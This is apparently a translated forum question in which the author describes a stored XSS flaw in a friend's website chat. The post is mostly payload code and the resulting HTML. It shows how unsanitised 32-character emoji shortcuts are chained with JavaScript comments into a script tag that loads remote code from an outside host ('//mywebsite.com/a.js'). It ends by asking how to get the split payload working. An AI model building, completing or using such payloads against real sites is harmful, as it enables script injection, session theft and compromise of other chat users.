Я нашел XSS в чате моего друга на сайте.
У меня есть многострочный текстовый ящик, я могу загружать маленькие значки и использовать их как смайлики. Чтобы использовать эти смайлики, я должен назвать эти смайлики с помощью ярлыка, например: /haha
, /rofl
и другие. Эти ярлыки могут быть изменены с чем угодно, но длиной 32 символа. Ни один символ не очищается при вводе ярлыков.
это код HTML:
<div class="message"><span class="timestamp">7:09:43 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="/haha" title="/haha" data-emoji="emojiFile" border="0"></span></div>
/haha
может быть даже <script>alert(1)</script>
, но его длина должна быть 32 символа .
Поэтому я подумал, что могу создать полезную нагрузку для них, но я решил разделить ее для каждого смайлика.
Что я делаю, так это:
var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);
и поэтому я вставляю этот HTML код:
"><script>var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);</script><!--
, поэтому каждая строка соответствует эмодзи. Это хитроумный способ обойти ограничение длины.
Это абстрактное понятие:
emoji1=<script><then begin comment block>
emoji2=<end comment block>alert("Hello World")<start comment block>
emoji3=<end comment block><script>
Это результат:
<div class="message"><span class="timestamp">07:24:26 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="" border="0"><script>var x=/*" title=""><script>var x=/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/document.createElement/*" title="*/document.createElement/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/("script");x.src=/*" title="*/("script");x.src=/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/"//mywebs"+/*" title="*/"//mywebs"+/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/"ite.com/a.js",/*" title="*/"ite.com/a.js",/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/document.head.appendChild/*" title="*/document.head.appendChild/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/(x);</script><!--" title="*/(x);</script><!--" data-emoji="emojiFile" />--></span></div>
в основном не sanitized- HTML вход (куда я положил свою полезную нагрузку) дублируется в alt
и title
, и, возможно, возникает некоторая двусмысленность, когда я помещаю блоки комментариев.
Как я могу решить?